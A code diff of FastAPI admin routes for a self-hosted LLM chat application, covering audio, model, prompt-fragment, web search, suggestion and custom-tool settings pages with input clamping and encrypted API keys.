"max_completion_tokens": min(max(max_completion_tokens, 0), 5_000_000),
"approval_timeout": min(max(approval_timeout, 60), 3600),
"allow_default": _lines(allow_default),
"deny_default": _lines(deny_default),
"ask_free_text": ask_free_text,
"terminal_enabled": terminal_enabled,
"terminal_idle_timeout": min(max(terminal_idle_timeout, 60), 86400),
"terminal_max_sessions": min(max(terminal_max_sessions, 1), 500),
"terminal_max_per_user": min(max(terminal_max_per_user, 1), 50),
"terminal_integration": terminal_integration,
"index_enabled": index_enabled,
# Zero is kept rather than clamped up: it means "list the
# directory for the file picker but put none of it in the
# prompt", which nothing else can say.
"index_chars": min(max(index_chars, 0), 20_000),
"instructions_enabled": instructions_enabled,
"instructions_chars": min(max(instructions_chars, 0), 20_000),
},
key=settings_store.AGENTS,
)
log.info("agent execution %s by %s", "enabled" if enabled else "disabled", user.email)
return RedirectResponse("/admin/agents?saved=1", status_code=status.HTTP_303_SEE_OTHER)
+187
View File
@@ -0,0 +1,187 @@
"""Audio administration: the transcription and speech endpoints."""
from __future__ import annotations
import logging
from fastapi import APIRouter, Form, Request, Response, status
from fastapi.responses import RedirectResponse
from lembas.api.deps import AdminUser, Db
from lembas.services import audio as audio_service
from lembas.services import settings_store
from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
from lembas.services.llm.openai_client import LLMError
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(prefix="/admin/audio", tags=["admin-audio"])
# Read out by the speech test. Short, and the one line this project would pick.
TEST_PHRASE = "Speak, friend, and enter."
def _page_context(db: Db) -> dict:
config = settings_store.audio(db)
return {
"values": config,
"formats": audio_service.FORMATS,
"masked": {
"stt": mask(decrypt(config.get("stt_api_key_encrypted") or "")),
"tts": mask(decrypt(config.get("tts_api_key_encrypted") or "")),
},
"unchanged": UNCHANGED_SENTINEL,
}
@router.get("")
async def audio_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
from lembas.api.audio import available_voices
context = _page_context(db)
voices, error = await available_voices(context["values"])
return render(
request,
"admin/audio.html",
{**context, "voices": voices, "voice_error": error, "saved": saved},
)
@router.post("")
async def save_audio(
db: Db,
user: AdminUser,
stt_enabled: bool = Form(False),
stt_base_url: str = Form(""),
stt_api_key: str = Form(""),
stt_model: str = Form(""),
stt_language: str = Form(""),
tts_enabled: bool = Form(False),
tts_base_url: str = Form(""),
tts_api_key: str = Form(""),
tts_model: str = Form(""),
tts_voice: str = Form(""),
tts_format: str = Form("mp3"),
tts_speed: float = Form(1.0),
tts_autoplay: bool = Form(False),
) -> Response:
"""Save both endpoints.
Unchecked checkboxes are absent from a form post, which is why every toggle
defaults to False here -- that absence *is* the "off" signal.
"""
current = settings_store.audio(db)
settings_store.update(
db,
{
"stt_enabled": stt_enabled,
"stt_base_url": stt_base_url.strip().rstrip("/"),
"stt_api_key_encrypted": keep_or_replace(
stt_api_key, current.get("stt_api_key_encrypted") or ""
),
"stt_model": stt_model.strip() or "whisper-1",
"stt_language": stt_language.strip()[:16],
"tts_enabled": tts_enabled,
"tts_base_url": tts_base_url.strip().rstrip("/"),
"tts_api_key_encrypted": keep_or_replace(
tts_api_key, current.get("tts_api_key_encrypted") or ""
),
"tts_model": tts_model.strip() or "tts-1",
"tts_voice": tts_voice.strip()[:120],
"tts_format": tts_format if tts_format in audio_service.FORMATS else "mp3",
"tts_speed": min(max(tts_speed, 0.25), 4.0),
"tts_autoplay": tts_autoplay,
},
key=settings_store.AUDIO,
)
# The voice list belongs to whatever URL was configured before; keeping it
# would show the previous server's voices against the new one.
audio_service.forget_voices()
log.info("audio settings saved by %s", user.email)
return RedirectResponse("/admin/audio?saved=1", status_code=status.HTTP_303_SEE_OTHER)
@router.post("/test/{side}")
async def test_audio(request: Request, db: Db, user: AdminUser, side: str):
"""Contact one of the two endpoints and report what happened.
Speech is tested by synthesising a phrase and measuring the bytes back;
transcription by sending a short generated tone, which is *expected* to come
back as no words at all. That still proves what matters -- the URL resolves,
the key is accepted and the response parses.
"""
context = _page_context(db)
config = context["values"]
message, kind = "", "success"
try:
if side == "tts":
_, stream = await audio_service.speak(
audio_service.endpoint_for(config, "tts"),
TEST_PHRASE,
model=config.get("tts_model") or "tts-1",
voice=config.get("tts_voice") or "",
fmt=config.get("tts_format") or "mp3",
speed=float(config.get("tts_speed") or 1.0),
)
size = 0
async for chunk in stream:
size += len(chunk)
message = f"Spoke the test phrase: {size:,} bytes of audio."
elif side == "stt":
text = await audio_service.transcribe(
audio_service.endpoint_for(config, "stt"),
data=_silent_wav(),
filename="test.wav",
content_type="audio/wav",
model=config.get("stt_model") or "whisper-1",
language=config.get("stt_language") or "",
)
heard = f'Heard "{text}".' if text else "Heard nothing, as expected."
message = f"The endpoint answered. {heard}"
else:
message, kind = "Unknown endpoint.", "error"
except LLMError as exc:
message, kind = exc.message, "error"
voices, voice_error = [], ""
if side == "tts":
from lembas.api.audio import available_voices
voices, voice_error = await available_voices(config, refresh=True)
return render(
request,
"admin/_audio_result.html",
{
"side": side,
"message": message,
"message_kind": kind,
"voices": voices,
"voice_error": voice_error,
"values": config,
},
)
def _silent_wav(seconds: float = 0.5, rate: int = 16000) -> bytes:
"""A valid, silent WAV.
Generated rather than committed: half a second of silence is fourteen lines
of header arithmetic, and a binary fixture in the repository would be one
more thing nobody can review.
"""
import struct
frames = int(rate * seconds)
data = b"\x00\x00" * frames
header = struct.pack(
"<4sI4s4sIHHIIHH4sI",
b"RIFF", 36 + len(data), b"WAVE",
b"fmt ", 16, 1, 1, rate, rate * 2, 2, 16,
b"data", len(data),
)
return header + data
+390
View File
@@ -0,0 +1,390 @@
"""Model administration: ordering, defaults, images, access and capabilities."""
from __future__ import annotations
import contextlib
import logging
from fastapi import APIRouter, File, Form, HTTPException, Request, Response, UploadFile, status
from fastapi.responses import FileResponse, RedirectResponse
from sqlalchemy import select
from sqlalchemy.orm import Session as DBSession
from lembas.api.deps import AdminUser, Db, RequiredUser
from lembas.db.models import Connection, Group, Model
from lembas.services import chat as chat_service
from lembas.services import settings_store, uploads
from lembas.services.llm.openai_client import MAX_CONTEXT
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(tags=["admin-models"])
# What the endpoint can do. Endpoints do not advertise any of this reliably, so
# these are an administrator's assertion.
PROTOCOL_CAPABILITIES = ("reasoning", "vision", "tools")
# Which tools this model is given. Distinct from the above: `tools` is whether a
# tools array may be sent at all, these are what goes in it. Every one of them is
# meaningless unless `tools` is on.
#
# The last two are gates rather than single tools: one covers every custom HTTP
# tool an administrator has defined, the other every MCP server. Which of those
# a particular person gets is the tool's own group list, not a flag here -- a
# server can advertise forty tools, and a model page listing all of them is a
# page nobody can read.
TOOL_CAPABILITIES = (
("tool_web_search", "Web search"),
("tool_fetch", "Fetch a page"),
("tool_knowledge", "Knowledge"),
("tool_notes", "Notes"),
("tool_memory", "Memory"),
("tool_skills", "Skills"),
("tool_custom", "Custom tools"),
("tool_mcp", "MCP servers"),
("tool_ask", "Ask the reader"),
("tool_agent", "Agent execution"),
)
CAPABILITIES = PROTOCOL_CAPABILITIES + tuple(key for key, _ in TOOL_CAPABILITIES)
def _model(db: DBSession, model_id: str) -> Model:
model = db.get(Model, model_id)
if model is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That model no longer exists.")
return model
def _ordered(db: DBSession) -> list[Model]:
return list(
db.scalars(
select(Model).join(Connection).order_by(Model.position, Model.model_id)
)
)
def _renumber(db: DBSession) -> None:
"""Rewrite positions to 0..n-1.
Keeps the numbers dense so a move is always a swap with a neighbour, and
stops repeated reordering drifting into large sparse values.
"""
for index, model in enumerate(_ordered(db)):
model.position = index
db.commit()
# --- Listing -----------------------------------------------------------------
PAGE_SIZE = 40
# Filters offered as tabs above the list. Each is a predicate over a Model.
FILTERS: dict[str, tuple[str, object]] = {
"all": ("All", lambda m: True),
"enabled": ("Enabled", lambda m: m.enabled),
"disabled": ("Disabled", lambda m: not m.enabled),
"pinned": ("Pinned", lambda m: m.pinned),
"restricted": ("Restricted", lambda m: not m.public),
}
@router.get("/admin/models")
async def models_page(
request: Request,
db: Db,
user: AdminUser,
saved: str = "",
q: str = "",
filter: str = "all",
connection: str = "",
page: int = 1,
):
"""The model list.
Compact rows only -- editing happens on a page of its own. A connection can
advertise a hundred models, and a list that renders a full form for each of
them is unusable at that size.
"""
everything = _ordered(db)
predicate = FILTERS.get(filter, FILTERS["all"])[1]
needle = q.strip().lower()
matching = [
model
for model in everything
if predicate(model)
and (not connection or model.connection_id == connection)
and (
not needle
or needle in model.model_id.lower()
or needle in (model.display_name or "").lower()
)
]
pages = max(1, -(-len(matching) // PAGE_SIZE))
page = max(1, min(page, pages))
start = (page - 1) * PAGE_SIZE
visible = matching[start : start + PAGE_SIZE]
return render(
request,
"admin/models.html",
{
"models": visible,
"total": len(everything),
"matched": len(matching),
"page": page,
"pages": pages,
"page_start": start,
"connections": list(db.scalars(select(Connection).order_by(Connection.name))),
"default_model": settings_store.get(db, "default_model") or "",
"counts": {
key: sum(1 for m in everything if test(m)) for key, (_, test) in FILTERS.items()
},
"filters": {key: label for key, (label, _) in FILTERS.items()},
"active_filter": filter if filter in FILTERS else "all",
"q": q,
"connection_id": connection,
"saved": saved,
},
)
@router.get("/admin/models/{model_id}/edit")
async def model_detail(
request: Request, db: Db, user: AdminUser, model_id: str, saved: str = ""
):
"""Everything about one model, on its own page."""
model = _model(db, model_id)
ordered = _ordered(db)
index = next((i for i, m in enumerate(ordered) if m.id == model.id), 0)
return render(
request,
"admin/model_detail.html",
{
"model": model,
"groups": list(db.scalars(select(Group).order_by(Group.name))),
"capabilities": PROTOCOL_CAPABILITIES,
"tool_capabilities": TOOL_CAPABILITIES,
"efforts": chat_service.EFFORTS,
# Rows predating the split have no tool_* keys at all. Showing them
# unticked would be a lie: tools.enabled_tools treats absent as on
# when `tools` is on, so that an upgrade does not silently take web
# search away from every model already configured for it.
"tool_default": bool((model.capabilities_json or {}).get("tools")),
"default_model": settings_store.get(db, "default_model") or "",
"instance_prompt": settings_store.get(db, "system_prompt") or "",
"position_of": index + 1,
"total": len(ordered),
"previous": ordered[index - 1] if index > 0 else None,
"next": ordered[index + 1] if index + 1 < len(ordered) else None,
"saved": saved,
},
)
# Registered BEFORE /{model_id}: FastAPI matches in registration order, so
# with the parameterised route first, "bulk" is captured as a model id and
# the handler 404s on a model that does not exist.
@router.post("/admin/models/bulk")
async def bulk_models(
db: Db, user: AdminUser, action: str = Form(...), model_ids: list[str] = Form(default=[])
) -> Response:
"""Enable or disable several models at once.
A freshly refreshed connection can advertise dozens of models; turning them
off one at a time is not a reasonable way to spend an afternoon.
"""
models = list(db.scalars(select(Model).where(Model.id.in_(model_ids or []))))
for model in models:
if action == "enable":
model.enabled = True
elif action == "disable":
model.enabled = False
elif action == "public":
model.public = True
model.groups = []
elif action == "private":
model.public = False
db.commit()
_renumber(db)
return RedirectResponse(
f"/admin/models?saved={len(models)}+model(s)+updated.", status_code=303
)
@router.post("/admin/models/{model_id}")
async def update_model(
db: Db,
user: AdminUser,
model_id: str,
display_name: str = Form(""),
description: str = Form(""),
system_prompt: str = Form(""),
enabled: bool = Form(False),
pinned: bool = Form(False),
public: bool = Form(False),
position: str = Form(""),
context_length: str = Form(""),
default_effort: str = Form(""),
group_ids: list[str] = Form(default=[]),
capability: list[str] = Form(default=[]),
) -> Response:
model = _model(db, model_id)
model.display_name = display_name.strip()[:300]
model.description = description.strip()[:2000]
model.system_prompt = system_prompt.strip()[:8000]
# A string, so an emptied field is distinguishable and junk can be ignored
# rather than becoming a 422 -- the same shape `position` uses below.
if context_length.strip():
with contextlib.suppress(ValueError):
model.context_length = min(max(int(context_length), 0), MAX_CONTEXT)
else:
model.context_length = 0
model.enabled = enabled
model.pinned = pinned
model.public = public
# Merged rather than rebuilt, unlike the capabilities below: params_json
# holds whatever sampling defaults an administrator has set and this form
# only carries one of them.
params = dict(model.params_json or {})
wanted = default_effort.strip().lower()
if wanted in chat_service.EFFORTS:
params["reasoning_effort"] = wanted
else:
params.pop("reasoning_effort", None)
model.params_json = params
# Absent checkboxes are simply missing from a form post, so the submitted
# list IS the complete new state -- rebuild rather than merge.
model.capabilities_json = {name: (name in capability) for name in CAPABILITIES}
if public:
# Group rows would be dead weight and misleading in the UI.
model.groups = []
else:
model.groups = list(db.scalars(select(Group).where(Group.id.in_(group_ids or []))))
db.commit()
# Typing a position is the only workable way to reorder a long list; the
# up/down buttons are for nudging a model one place.
if position.strip():
try:
wanted = max(1, int(position)) - 1
except ValueError:
wanted = None
if wanted is not None:
ordered = [m for m in _ordered(db) if m.id != model.id]
ordered.insert(min(wanted, len(ordered)), model)
for index, item in enumerate(ordered):
item.position = index
db.commit()
log.info("model %s updated by %s", model.model_id, user.email)
return RedirectResponse(
f"/admin/models/{model.id}/edit?saved=Saved.", status_code=303
)
@router.post("/admin/models/{model_id}/move")
async def move_model(
db: Db,
user: AdminUser,
model_id: str,
direction: str = Form(...),
back: str = Form(""),
) -> Response:
"""Swap a model with its neighbour."""
model = _model(db, model_id)
ordered = _ordered(db)
index = next((i for i, m in enumerate(ordered) if m.id == model.id), None)
if index is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That model no longer exists.")
target = index - 1 if direction == "up" else index + 1
if 0 <= target < len(ordered):
ordered[index], ordered[target] = ordered[target], ordered[index]
for position, item in enumerate(ordered):
item.position = position
db.commit()
# Back to whichever filtered, paginated view the button was pressed on.
return RedirectResponse(back or "/admin/models", status_code=303)
@router.post("/admin/models/{model_id}/default")
async def set_default_model(
db: Db, user: AdminUser, model_id: str, back: str = Form("")
) -> Response:
"""Make a model the instance default for new chats."""
model = _model(db, model_id)
settings_store.update(db, {"default_model": model.model_id})
log.info("default model set to %s by %s", model.model_id, user.email)
return RedirectResponse(
back or f"/admin/models/{model.id}/edit?saved=Now+the+default+model.",
status_code=303,
)
@router.post("/admin/models/{model_id}/image")
async def upload_model_image(
db: Db, user: AdminUser, model_id: str, image: UploadFile = File(...)
) -> Response:
model = _model(db, model_id)
payload = await image.read()
try:
filename = uploads.save_model_image(payload, image.content_type or "")
except uploads.UploadError as exc:
return RedirectResponse(
f"/admin/models/{model.id}/edit?saved={exc}", status_code=303
)
# Remove the old file rather than orphaning it in the uploads directory.
if model.image_path:
uploads.delete_model_image(model.image_path)
model.image_path = filename
db.commit()
return RedirectResponse(
f"/admin/models/{model.id}/edit?saved=Image+updated.", status_code=303
)
@router.post("/admin/models/{model_id}/image/delete")
async def delete_model_image(db: Db, user: AdminUser, model_id: str) -> Response:
model = _model(db, model_id)
if model.image_path:
uploads.delete_model_image(model.image_path)
model.image_path = ""
db.commit()
return RedirectResponse(
f"/admin/models/{model.id}/edit?saved=Image+removed.", status_code=303
)
# --- Serving model images ----------------------------------------------------
@router.get("/uploads/models/{filename}")
async def model_image(user: RequiredUser, filename: str) -> Response:
"""Serve a stored model avatar.
Behind the auth guard: these are instance assets, not public files, and
the path resolution in uploads refuses anything outside the directory.
"""
path = uploads.model_image_path(filename)
if path is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "No such image.")
return FileResponse(
path,
media_type=uploads.media_type_for(filename),
# Filenames are random and content-addressed in practice, so a long
# cache is safe: a new image gets a new name.
headers={"Cache-Control": "private, max-age=604800"},
)
+245
View File
@@ -0,0 +1,245 @@
"""Prompt administration: every piece of text LLeMbas injects into a model.
The fragments themselves live in `services/prompts.py`; this is the screen that
edits them, and the preview that shows what they assemble into before anything
is saved.
"""
from __future__ import annotations
import logging
from fastapi import APIRouter, Form, Request, Response, status
from fastapi.responses import RedirectResponse
from lembas.api.deps import AdminUser, Db
from lembas.services import chat as chat_service
from lembas.services import harness as harness_service
from lembas.services import prompts as prompts_service
from lembas.services import settings_store
from lembas.services import tools as tools_service
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(prefix="/admin/prompts", tags=["admin-prompts"])
# What the preview pretends is attached, so the attachment fragment can be read
# in place rather than imagined. An administrator can clear the field.
SAMPLE_DOCUMENTS = "report.pdf, notes.txt"
def _families_of(db: Db, names: list[str]) -> list[str]:
"""Keep only real family names, in the registry's order.
Read from the database rather than the constant: a family can belong to an
administrator-defined tool, and one the preview cannot name is one whose
guidance cannot be checked here.
"""
wanted = set(names)
return [family for family in tools_service.families(db) if family in wanted]
def _tool_names(db: Db, families: list[str]) -> str:
return ", ".join(
name for name, tool in tools_service.registry(db).items() if tool.family in families
)
def _variables(
db: Db,
user: AdminUser,
*,
families: list[str],
model_name: str = "",
bases: str = "",
documents: str = "",
) -> dict[str, str]:
"""The preview's variable values.
Built from the administrator's *own* memories and skills rather than from
invented ones: a preview against synthetic data cannot tell you whether your
memory section reads well against what is actually in there. `AdminUser`
means this is the operator looking at their own library.
No Chat row is made. `harness.compose_from` takes plain variables precisely
so that this screen never has to build a transient one.
"""
from lembas.services.library import memories as memories_service
from lembas.services.library import skills as skills_service
values = harness_service.context_variables(db, user, [], None)
values.update(
{
"model_name": model_name,
"tool_names": _tool_names(db, families),
"memories": memories_service.block(db, user) if "memory" in families else "",
"skills": skills_service.index_block(db, user) if "skills" in families else "",
"knowledge_bases": bases if "knowledge" in families else "",
"document_names": documents,
}
)
return values
def _field_context(db: Db, key: str, *, value: str, overridden: bool) -> dict:
return {
"fragment": prompts_service.catalogue(db)[key],
"value": value,
"overridden": overridden,
}
@router.get("")
async def prompts_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
stored = prompts_service.stored(db)
models = chat_service.available_models(db, user)
families = list(tools_service.families(db))
return render(
request,
"admin/prompts.html",
{
"groups": prompts_service.grouped(db),
"values": {
fragment.key: stored.get(fragment.key, fragment.default)
for fragment in prompts_service.catalogue(db).values()
},
"overridden": set(stored),
"variables": prompts_service.VARIABLES,
# The legend shows what each name resolves to right now, with every
# family on -- a legend nobody can check is just a list of words.
"resolved": _variables(
db,
user,
families=families,
model_name=models[0].label if models else "",
bases="Contracts, Recipes",
documents=SAMPLE_DOCUMENTS,
),
"models": models,
"families": families,
"registry": sorted(
tools_service.registry(db).values(), key=lambda t: (t.family, t.name)
),
"max_harness_chars": settings_store.get(
db, "max_harness_chars", key=settings_store.PROMPTS
),
"default_harness_chars": harness_service.MAX_HARNESS_CHARS,
"sample_documents": SAMPLE_DOCUMENTS,
"saved": saved,
},
)
# Registered before anything that could take a path parameter. There is no such
# route today, but /admin/models has already been bitten once by adding one.
@router.post("/default")
async def use_default(request: Request, db: Db, user: AdminUser, key: str = Form("")):
"""Fill one field with its built-in text, without saving anything.
Deliberately not a write. The administrator may be halfway through editing
something else, and a button that silently persisted would take that with
it. Saving afterwards is what makes it stick -- and because the text then
equals the default, `prompts.save` stores nothing and the override is gone.
"""
fragment = prompts_service.catalogue(db).get(key)
if fragment is None:
return Response(status_code=status.HTTP_404_NOT_FOUND)
return render(
request,
"admin/_prompt_field.html",
_field_context(db, key, value=fragment.default, overridden=False),
)
@router.post("/reset")
async def reset_prompts(db: Db, user: AdminUser) -> Response:
prompts_service.clear(db)
log.info("prompt fragments reset to defaults by %s", user.email)
return RedirectResponse("/admin/prompts?saved=1", status_code=status.HTTP_303_SEE_OTHER)
@router.post("/preview")
async def preview(request: Request, db: Db, user: AdminUser):
"""The whole system message, assembled from what is in the form right now.
Unsaved text is what an administrator wants to see, so the submitted values
are passed as overrides rather than read back from the database.
"""
form = await request.form()
overrides = _submitted(db, form)
families = _families_of(db, [str(value) for value in form.getlist("preview_family")])
model_name = str(form.get("preview_model") or "")
bases = str(form.get("preview_bases") or "").strip()
documents = str(form.get("preview_documents") or "").strip()
variables = _variables(
db,
user,
families=families,
model_name=model_name,
bases=bases,
documents=documents,
)
body = harness_service.compose_from(
db,
variables=variables,
families=families,
has_tools=bool(families),
overrides=overrides,
)
authored = (settings_store.get(db, "system_prompt") or "").strip()
lead = prompts_service.substitute(
overrides.get("seam.authored_lead", prompts_service.resolve(db, "seam.authored_lead")),
variables,
).strip()
return render(
request,
"admin/_prompt_preview.html",
{
"system": harness_service.join(body, authored, lead=lead),
"harness_chars": len(body),
"limit": harness_service.limit_for(db),
"authored": authored,
"title_prompt": prompts_service.substitute(
overrides.get("task.title", prompts_service.resolve(db, "task.title")),
{"question": "What is lembas?", "answer": "Elvish waybread."},
).strip(),
},
)
def _submitted(db: Db, form) -> dict[str, str]:
"""The fragment texts present in a form post, normalised.
Key presence is what is read, never a falsy value: an empty textarea is how
a fragment is turned off, and FastAPI's `Form(...)` cannot tell `x=` from an
absent `x`. Same reason `api/chats.py:update_chat` reads the raw form.
"""
out: dict[str, str] = {}
for key in prompts_service.catalogue(db):
field = f"prompt.{key}"
if field in form:
out[key] = str(form.get(field) or "").replace("\r\n", "\n")
return out
@router.post("")
async def save_prompts(request: Request, db: Db, user: AdminUser) -> Response:
form = await request.form()
stored = prompts_service.save(db, _submitted(db, form))
try:
cap = int(str(form.get("max_harness_chars") or 0))
except ValueError:
cap = 0
settings_store.update(
db,
{"max_harness_chars": min(max(cap, 0), 100_000)},
key=settings_store.PROMPTS,
)
log.info("prompt fragments saved by %s (%d edited)", user.email, len(stored))
return RedirectResponse("/admin/prompts?saved=1", status_code=status.HTTP_303_SEE_OTHER)
+114
View File
@@ -0,0 +1,114 @@
"""Web search administration: which provider, and how to reach it."""
from __future__ import annotations
import logging
from fastapi import APIRouter, Form, Request, Response, status
from fastapi.responses import RedirectResponse
from lembas.api.deps import AdminUser, Db
from lembas.services import search as search_service
from lembas.services import settings_store
from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
from lembas.services.search.base import SearchError
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(prefix="/admin/search", tags=["admin-search"])
SAFESEARCH = ("off", "moderate", "strict")
@router.get("")
async def search_page(request: Request, db: Db, user: AdminUser, saved: bool = False):
values = settings_store.search(db)
return render(
request,
"admin/search.html",
{
"values": values,
"providers": search_service.PROVIDERS,
# Keyed by provider so the form can show an install hint against
# the one that needs it, without the template knowing why.
"problems": {
p.key: search_service.availability(p.key) for p in search_service.PROVIDERS
},
"safesearch_options": SAFESEARCH,
"masked": mask(decrypt(values.get("firecrawl_api_key_encrypted") or "")),
"unchanged": UNCHANGED_SENTINEL,
"saved": saved,
},
)
@router.post("")
async def save_search(
db: Db,
user: AdminUser,
enabled: bool = Form(False),
provider: str = Form("ddgs"),
max_results: int = Form(5),
region: str = Form("wt-wt"),
safesearch: str = Form("moderate"),
searxng_base_url: str = Form(""),
firecrawl_base_url: str = Form(""),
firecrawl_api_key: str = Form(""),
timeout: float = Form(20.0),
allow_private_fetch: bool = Form(False),
fetch_enabled: bool = Form(False),
) -> Response:
current = settings_store.search(db)
known = {p.key for p in search_service.PROVIDERS}
settings_store.update(
db,
{
"enabled": enabled,
"provider": provider if provider in known else "ddgs",
# An upper bound on what any single search may put in the prompt.
# Twenty results is already more than a model reads carefully.
"max_results": min(max(max_results, 1), 20),
"region": region.strip()[:16] or "wt-wt",
"safesearch": safesearch if safesearch in SAFESEARCH else "moderate",
"searxng_base_url": searxng_base_url.strip().rstrip("/"),
"firecrawl_base_url": firecrawl_base_url.strip().rstrip("/")
or "https://api.firecrawl.dev",
"firecrawl_api_key_encrypted": keep_or_replace(
firecrawl_api_key, current.get("firecrawl_api_key_encrypted") or ""
),
"timeout": min(max(timeout, 5.0), 120.0),
"allow_private_fetch": allow_private_fetch,
"fetch_enabled": fetch_enabled,
},
key=settings_store.SEARCH,
)
log.info("web search %s by %s", "enabled" if enabled else "disabled", user.email)
return RedirectResponse("/admin/search?saved=1", status_code=status.HTTP_303_SEE_OTHER)
@router.post("/test")
async def test_search(request: Request, db: Db, user: AdminUser, query: str = Form("")):
"""Run one real search and show what came back.
Against the stored settings rather than the unsaved form, so what is tested
is what a chat would actually do.
"""
config = settings_store.search(db)
query = query.strip() or "lembas"
try:
results = await search_service.run(config, query)
message, kind = (
f"{search_service.provider(config.get('provider')).label} returned "
f"{len(results)} result{'' if len(results) == 1 else 's'}."
), "success"
except SearchError as exc:
results, message, kind = [], exc.message, "error"
return render(
request,
"admin/_search_result.html",
{"results": results, "message": message, "message_kind": kind, "query": query},
)
+113
View File
@@ -0,0 +1,113 @@
"""Administration for the cards offered on the new-chat screen."""
from __future__ import annotations
import logging
from fastapi import APIRouter, Form, HTTPException, Request, Response, status
from fastapi.responses import RedirectResponse
from lembas.api.deps import AdminUser, Db
from lembas.db.models import Suggestion
from lembas.services import suggestions as suggestions_service
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(prefix="/admin/suggestions", tags=["admin-suggestions"])
def _suggestion(db: Db, suggestion_id: str) -> Suggestion:
suggestion = db.get(Suggestion, suggestion_id)
if suggestion is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That suggestion no longer exists.")
return suggestion
def _back(message: str = "") -> Response:
target = f"/admin/suggestions?saved={message}" if message else "/admin/suggestions"
return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
@router.get("")
async def suggestions_page(request: Request, db: Db, user: AdminUser, saved: str = ""):
rows = suggestions_service.all_of_them(db)
return render(
request,
"admin/suggestions.html",
{
"suggestions": rows,
"at_limit": len(rows) >= suggestions_service.MAX_SUGGESTIONS,
"max_suggestions": suggestions_service.MAX_SUGGESTIONS,
"max_shown": suggestions_service.MAX_SHOWN,
"saved": saved,
},
)
@router.post("")
async def create_suggestion(
db: Db,
user: AdminUser,
name: str = Form(""),
description: str = Form(""),
prompt: str = Form(""),
) -> Response:
name = name.strip()
if not name:
return _back("A suggestion needs a name.")
if len(suggestions_service.all_of_them(db)) >= suggestions_service.MAX_SUGGESTIONS:
return _back(f"That is already {suggestions_service.MAX_SUGGESTIONS}, which is plenty.")
suggestions_service.create(db, name=name, description=description, prompt=prompt)
log.info("%s added suggestion %s", user.email, name)
return _back(f"Added {name}.")
# Registered before /{suggestion_id}: FastAPI matches in registration order, so
# with the parameterised route first any literal segment added later would be
# captured as an id. That has already been a bug once, in /admin/models.
@router.post("/{suggestion_id}/delete")
async def delete_suggestion(db: Db, user: AdminUser, suggestion_id: str) -> Response:
suggestion = _suggestion(db, suggestion_id)
name = suggestion.name
db.delete(suggestion)
db.commit()
log.info("%s deleted suggestion %s", user.email, name)
return _back(f"Deleted {name}.")
@router.post("/{suggestion_id}")
async def update_suggestion(
request: Request,
db: Db,
user: AdminUser,
suggestion_id: str,
) -> Response:
"""Save one row.
The raw form is read rather than declared parameters because `enabled` is a
checkbox: FastAPI cannot tell an unticked box from an absent field, and an
absent one is exactly what an unticked box sends.
"""
suggestion = _suggestion(db, suggestion_id)
form = await request.form()
suggestion.name = (
str(form.get("name") or "").strip()[: suggestions_service.MAX_NAME] or suggestion.name
)
suggestion.description = str(form.get("description") or "").strip()[
: suggestions_service.MAX_DESCRIPTION
]
suggestion.prompt = str(form.get("prompt") or "").replace("\r\n", "\n")[
: suggestions_service.MAX_PROMPT
]
suggestion.enabled = "enabled" in form
position = str(form.get("position") or "").strip()
if position.isdigit():
suggestion.position = min(max(int(position) - 1, 0), 999)
db.commit()
log.info("%s updated suggestion %s", user.email, suggestion.name)
return _back(f"Saved {suggestion.name}.")
+661
View File
@@ -0,0 +1,661 @@
"""Administration for the tools an administrator defines.
List-plus-detail, like `/admin/models` and for the same reason: a tool has
fifteen fields and a page that renders fifteen fields per row is unusable. The
list is compact and searchable; the whole form lives at `/admin/tools/{id}/edit`.
Validation reports back into the form rather than raising a 422. The fields here
are a JSON schema, a URL template and a secret; getting one wrong is normal, and
losing the other fourteen because of it is not acceptable. So a rejected save
re-renders the form from what was submitted, with the reason.
"""
from __future__ import annotations
import json
import logging
import re
from datetime import UTC, datetime
from fastapi import APIRouter, HTTPException, Request, Response, status
from fastapi.responses import RedirectResponse
from sqlalchemy import func, select
from lembas.api.deps import AdminUser, Db
from lembas.db.models import (
RESPONSE_JSON,
RESPONSE_MODES,
RESPONSE_RAW,
RESPONSE_TEXT,
SECRET_NONE,
SECRET_PLACEMENTS,
CustomTool,
Group,
McpServer,
)
from lembas.services import custom_tools
from lembas.services import prompts as prompts_service
from lembas.services import tools as tools_service
from lembas.services.crypto import UNCHANGED_SENTINEL, decrypt, keep_or_replace, mask
from lembas.services.fetch import FetchError, check_url
from lembas.services.mcp import client as mcp_client
from lembas.services.mcp import registry as mcp_registry
from lembas.web.templating import render
log = logging.getLogger(__name__)
router = APIRouter(tags=["admin-tools"])
PAGE_SIZE = 40
# The slug is the function name sent to the endpoint, so it is bound by the
# charset those accept, and it is half of this tool's prompt-fragment key, so it
# is bound by that pattern too. The intersection is this.
SLUG_PATTERN = re.compile(r"^[a-z0-9][a-z0-9_-]{0,47}$")
FILTERS: dict[str, tuple[str, object]] = {
"all": ("All", lambda t: True),
"enabled": ("Enabled", lambda t: t.enabled),
"disabled": ("Disabled", lambda t: not t.enabled),
"restricted": ("Restricted", lambda t: not t.public),
}
RESPONSE_LABELS = (
(RESPONSE_TEXT, "Text — HTML reduced to prose"),
(RESPONSE_JSON, "JSON — parsed, narrowed by the path below"),
(RESPONSE_RAW, "Raw — exactly as it arrived"),
)
SECRET_LABELS = (
(SECRET_NONE, "None — this endpoint needs no credential"),
("bearer", "Bearer token in a header"),
("header", "The header named below, verbatim"),
("query", "A query parameter named below"),
)
def _tool(db: Db, tool_id: str) -> CustomTool:
tool = db.get(CustomTool, tool_id)
if tool is None:
raise HTTPException(status.HTTP_404_NOT_FOUND, "That tool no longer exists.")
return tool
def _ordered(db: Db) -> list[CustomTool]:
return list(db.scalars(select(CustomTool).order_by(CustomTool.position, CustomTool.slug)))
def _back(message: str = "") -> Response:
target = f"/admin/tools?saved={message}" if message else "/admin/tools"
return RedirectResponse(target, status_code=status.HTTP_303_SEE_OTHER)
